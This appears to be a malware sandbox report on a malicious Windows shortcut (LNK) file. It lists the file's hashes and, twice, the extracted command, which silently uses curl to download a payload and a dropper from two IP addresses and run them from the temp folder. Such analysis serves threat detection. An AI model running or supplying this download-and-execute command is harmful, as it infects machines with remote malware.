Malicious
Malicious

8f49468c1028a77bb5a5272ecd3f212d

LNK File
|
MD5: 8f49468c1028a77bb5a5272ecd3f212d
|
Size: 2.16 KB
|
application/x-ms-shortcut

Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
8f49468c1028a77bb5a5272ecd3f212d
Sha1
0363e38b238ccf5b6dcf377d1e6cc1ecacf64a1e
Sha256
5fcb32e1f7ed6c0419b687398b2856cb1f5f7040c3eb7585d986119a6c85472e
Sha384
df6c6cdae3a0f3efda83fec9d7d0d0be2671451911f9000457706818ea893ed7aff63017fb6a56244b0fa39731b6ffe1
Sha512
13d70e70c84eda5ed4c244f299314c634e5b139f94fa766d90c34717ff928b773fc1ee3a7b75d8b4a17344898a538a968d38064d38862d54f83659d23f342224
SSDeep
12:8UlDmIftmlvlwiGQmqY42mZU+XiGbVlDmo0qjaplDmIfc99ZTlDmo0q:8U4Ilm3xVpU+yQ4o08ap4I0tT4o0
TLSH
F141BC2473E94310D331ED3B6878C60691BA3416ED33CB5D4BA1D58E246A604FE3AF2B
File Structure
8f49468c1028a77bb5a5272ecd3f212d
Malicious
[Lnk Summary]
Malicious
Artefacts
Name
 Value
LNK: Command Execution

conhost.exe --headless cmd.exe /c start "" /b curl.exe -s -o %TEMP%\msupd.bin http://213.165.47.137:8080/payload && curl.exe -s -o %TEMP%\msupd.exe http://213.165.45.163/dropper && start "" /b %TEMP%\msupd.exe
8f49468c1028a77bb5a5272ecd3f212d (2.16 KB)
File Structure
8f49468c1028a77bb5a5272ecd3f212d
Malicious
[Lnk Summary]
Malicious
Characteristics
No malware configuration were found at this point.
Artefacts
Name
 Value Location
LNK: Command Execution

conhost.exe --headless cmd.exe /c start "" /b curl.exe -s -o %TEMP%\msupd.bin http://213.165.47.137:8080/payload && curl.exe -s -o %TEMP%\msupd.exe http://213.165.45.163/dropper && start "" /b %TEMP%\msupd.exe

Malicious

8f49468c1028a77bb5a5272ecd3f212d
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙